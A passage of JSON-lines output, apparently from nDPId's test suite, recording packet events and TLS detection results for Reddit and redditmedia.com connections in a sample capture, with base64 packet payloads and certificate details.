+00581{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141660,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytf3kZm1XggBgB9e6bAAABAQgKqXTmUcLXOOQWAwMAJRAAACEgXn0+nl7ibnbnv3X+XE5SsOnr6yCBoTQjDG1qP+zsESMUAwMAAQEWAwMAKAAAAAAAAAAAu1t2RzBpuHFGdpAbDAc+HC8CD+XJPWLxyiIYqaKyz2I="} +01866{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141731,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBGVsk6YAYOGSgBgLME08AAABAQgKwtc47al05igWAwMAUgIAAE4DA\/LZ1dICAL\/DuHg5XGFebFAUdACOqZC4DZcRtcJTYnHVAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK4AsACtwACtkABjswggY3MIIFH6ADAgECAhAFIKnDRQdHRLlD27uwkl6dMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA3MjcwMDAwMDBaFw0yMTAxMjMxMjAwMDBaMGwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEaMBgGA1UEAwwRKi5yZWRkaXRtZWRpYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUojedwLTSEzrq4UnD96Vw+K+bJzRlpdlGvp1emryD5RL1HNtyibc7bG5WSKWQj4rEXUPCrd7J9KEcoktu\/T\/zKnwBbK1YjqeYT7crnAcYwaOzJK+2WaVgkNLH46oD9ybxNIQiHXSZQ7Ot1nzKMSML5qvJDWE93Oca5W4JzWXBeHxjaWh1pvFML\/h9KONNL2F6v8fl2QkupSKhrdBMUYrUJQ7T7Xayr9QDWUwAYkELYvTZAHxC2NJEKB\/W8Txb\/aVDvxW0ugRtMT23SQiJB3o2exzRkgcVXSsUUyBNZi0HwERQ8wVGtvniGjIdCo1za+WiS39m7ranLPgJ4gJ0ghVtAgMBAAGjggLyMIIC7jAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUM5hgnYdqs+t4ZIcAf5Oj81X67dYwLQYDVR0RBCYwJIIRKi5yZWRkaXRtZWRpYS5jb22CD3JlZGRpdG1lZGlhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0"} +00889{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":686,"source":"reddit.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1605291686060,"flow_last_seen":1605291686141,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56580,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01874{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141731,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/oyw5+zvcdbcgBgLMP\/dAAABAQgKwtc45ql05id0cDovL29jc3AuZGlnaWNlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXOQZCKCAAAEAwBHMEUCIAherbIi6ZyHzb3QX5+4\/MlQsJrfbT9XT60YNwXvs\/FkAiEAwb6FWwmkC64YkR7Z3GfczyoO1X+DuWs1z\/cJf1mGmRAAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXOQZCKuAAAEAwBIMEYCIQCNJnMx30MdQpcsqt\/W+zrckQM+XjK6x44S461Ih+FOwgIhAKbBLZjqonCb3DAhfmp8tsmJH+X3MizzOAQP3yn5uVQ5MA0GCSqGSIb3DQEBCwUAA4IBAQBCDMeIm2uPoixPwoutZHrrGFzfNJEXLQk54PkRo2woDSpR3o0sLrpMXiyWx6H0MMNDjCQCbMH2ymQA6oTDSulICMxnonBHGBAiFWQ4yFy2iFOaonss\/jw9Dn15iyoLKitvtvJLO9YtEqX7BhpUXB+aGzE35RE3PNE7a9BSnYdTRBdwcbTm4\/GUaX3HC2LiAXQA2DAltxNjiE72Zxrfz9Ebt1FNjsFnx0Ah1ZbnA1MIHFvgmyPuvrAyEw9PR6UdJmEHtOv18OslcdpyIt5b11k6XZhXnFrHzfU77INW6\/\/S6hVNtvk1bBdMuvkLXzN88BKcp9k9\/9vFc9yzgrbsBbZxAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRq"} +01870{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141731,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/oyw7ATvcdbcgBgLMEoTAAABAQgKwtc45ql05icUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMTIxMzIwNTZaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQBSCpw0UHR0S5Q9u7sJJenYAAGA8yMDIwMTExMjEzMjA1NlqgERgPMjAyMDExMTkxMjM1NTZaMA0GCSqGSIb3DQEBCwUAA4IBAQAe0tW7eHxJsBmpUJLOLbayxqVf49zXEZ5\/cB0RRa6yG3CNXesl4JDY"} +01172{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":688,"source":"reddit.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":9,"flow_first_seen":1605291686060,"flow_last_seen":1605291686141,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56574,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","server_names":"*.redditmedia.com,redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redditmedia.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"96:A3:77:56:81:79:10:5C:E8:7F:F0:33:D2:7E:1C:45:08:2C:25:85"}} +01179{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141731,"pkt_caplen":616,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":616,"pkt_l4_len":562,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAjIGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/oyw8BzvcdbcgBgLMJmVAAABAQgKwtc45ql05icFzSsmCedJGCcRINBMxj2OkjLRrR5+xcD9lb4unAKC5WTmKH6ycrO9ix\/L32MGep\/ZFvIJCQSouE7mlgSAcTFI4BXte\/pGsHMAjui+1qfzuJeDRU1HhuOmlCbhFJ6m4gFzgwhyGd9L+hpBg5KgMKhXfS7jrubusel2UJKbGh734tJ39CE6k1PRqEwMkj67np+DYccuihF63nxZALE8swo0riZoaCe5AiIY7ITMITCBbxCZuPAGOPmEMbEPmOm6Pvj+\/bWyqGz8umNh91i6hsUU6dKjsm4mWYsWAwMBLAwAASgDAB0gyVoEjPJRkXElTZgGEluVeDwFphVd5HqKZAeb0AsQxSIIBAEAdIDer7xYy3ZxK8vfq5pA4OCbSZSwY1TgoeSjNdYL0ILjBQsggdxFh1C5vYMChSK2Ox0EUGscSz8XnclIprC0FoWvaRQnCCFUSo5mZBrYFxhuLXsElNeZJ\/SXhk5SWCLT8\/oN9pz6VvNXau1EnEOSrD+1BIcFV0BtOFR\/T41iR3oaP0qImfAN7hx+\/QJ7p1KwLkxZOvmk\/m9DI45ld1gOvB+hHsMQtEoruZjkrXV+XpsMf+XcEVzjg5kowy0VcZhFo7J44j31VtxGt0+m\/q\/FBNIYUQTrldmFYm7k3sn90YJKRsWD4UWVQ4c9KlQFuvoWgZp3yW6GTYkM9bpff5oEMhYDAwAEDgAAAA=="} +00453{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":690,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141735,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCVnRACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg4ZJlbJe+gBAB9dVtAAABAQgKqXTmUcLXOO0="} +00454{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141741,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1tyMsOwEgBAB83WWAAABAQgKqXTmUcLXOOY="} +00454{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141744,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1tyMsPAcgBAB63GGAAABAQgKqXTmUcLXOOY="} +00454{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141746,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1tyMsPIugBAB5294AAABAQgKqXTmUcLXOOY="} +00455{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141909,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBugO8IiJd61ngBALMJwEAAABAQgKwtc46al05ig="} +01861{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":696,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141910,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBugO8IiJd61ngBgLMBS9AAABAQgKwtc466l05igWAwMAUgIAAE4DAypgLRNIVzyG8FEROLZF\/TyuLaxgMAxLFtuPuUnXX8+tAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMKxgsACsIACr8ABiEwggYdMIIFBaADAgECAhAEgViJFaGeLQYINHLA9fqAMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMGQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjESMBAGA1UEAwwJKi5yZWRkLml0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqqajbv6yxoBUUP7z4hqGEBqUxkIuxIANvgy2sKGAl3jE9LNe9bbgB7FzCPhrmyFURkVvYbXfU9co9q2RsG\/ZLID9oD7cnc4wYj8f5M0Wj7sE4dcOBfT1mL+rKP75s+BKfKTkPZTCKgxJREHiw9NQlhB9n7EhNiUvWmZIAm5zbikqjIrLNp5RC9MOYKZw5cvDcfEExtW47V0qsenFicT1Vp4offkEkRTUZQHa8ZDesXcX4X8FcQ4SffgFPYEu5soxUH5p1gEVUzzt1qKIQ3VpkM9Z1uyEjunxQhHxNgkslvXaUfxNo4vt8AtlnyIrqudEvXm1BoqY1Q95KpDrm7iWCQIDAQABo4IC4DCCAtwwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFF5jqSI83X0TAAcKFOfiu1j5R516MB0GA1UdEQQWMBSCB3JlZGQuaXSCCSoucmVkZC5pdDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBG"} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":696,"source":"reddit.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1605291686064,"flow_last_seen":1605291686141,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56582,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00453{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":697,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141939,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3rWfoDvSggBAB86D+AAABAQgKqXTmUcLXOOs="} +01875{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":698,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141954,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBugO9KCJd61ngBgLMGouAAABAQgKwtc466l05igGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXQrSmdiAAAEAwBHMEUCIQD\/04ygSe1MYzrJpdTwrQK9Sjx\/tAOekyn8ZwUHe438MQIgQeoxYr6dp9e0Vi2BfTgg\/tx7yoUBr46n4mPgngP1Cg8AdQBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXQrSmd+AAAEAwBGMEQCIDQ+4afNmJ6Lq7tcDFhWE5ZRcYt+T8eRVv9HNhRXleMaAiAfvoxXCpDvg3ksn\/DbvlHRhWsdVwta6mdmCm+pp0EQLDANBgkqhkiG9w0BAQsFAAOCAQEAAG3CaPVDekrOfzw6f0I5v2tWlY1xVwLUq3mWKiYqkY13PT0BCSJhi4Wr05nryv4hM2tTgWfXEYy5thizGRFQU2k2\/UwaR1tWB7k6icplfD0Ga+hHuMA1ioLo\/9dpR90j3inuZOlew5NI2+DUxJoSXlo3H8MbyO5DP\/ctl49WhW+y0JaR0mw+Wsni\/W0+ctk2wp4ac\/lpLbD1iXAOjwpg\/HHz0VF8T8dgjOGW64yvr1ftmXr2UumO7tbZmf00WJprBjlf4hclLVDLtjreq8DhsjB3cf\/gLzGIz0xtBET1KwumlL4Vmay44nBXCrqr3Ucoup6L8umjZP\/gUQ4QuW1ijwAEmDCCBJQwggN8oAMCAQICEAH9o+tuynXIiEOLckvPvJEwDQYJKoZIhvcNAQELBQAwYTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEgMB4GA1UEAxMXRGlnaUNlcnQgR2xvYmFsIFJvb3QgQ0EwHhcNMTMwMzA4MTIwMDAwWhcNMjMwMzA4MTIwMDAwWjBNMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5EaWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcrliQTcHEMBWQNVtuPIIV9SxcvePb\/3FD+mQlgNTuGKJN8GbQCnNuEZg2F2SvN539+kGEr8evjP4ac03PM5eQopaHU4MruaZ1SC0dVjd72jEyGtesqwb0ql1Lt0dG3SqTw5AueYCA7xMEahQ7tZuSvsIHZU782vz\/eq7cXH5VMQzoOQek"} +00453{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":699,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141956,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3rWfoDvi4gBAB65zuAAABAQgKqXTmUcLXOOs="} +01872{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":142640,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBugO+LiJd61ngBgLMKiAAAABAQgKwtc466l05ijXvi\/TC2rSsd9f\/ld0Uzs1gN2ujkSYs58O09rg1\/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGXkujNVA075ME\/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\/RR3w6RbKFfCs\/mC\/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1oDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzhxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEBCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq\/sELfeNqzqPlt\/yGFUzZgTHbO7Djc1lGA8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls\/3HB40f\/1LkAtDdC2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPitc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0j6tJLp07kzQoH3jOlOrHvdPJbRzeXDLzFgM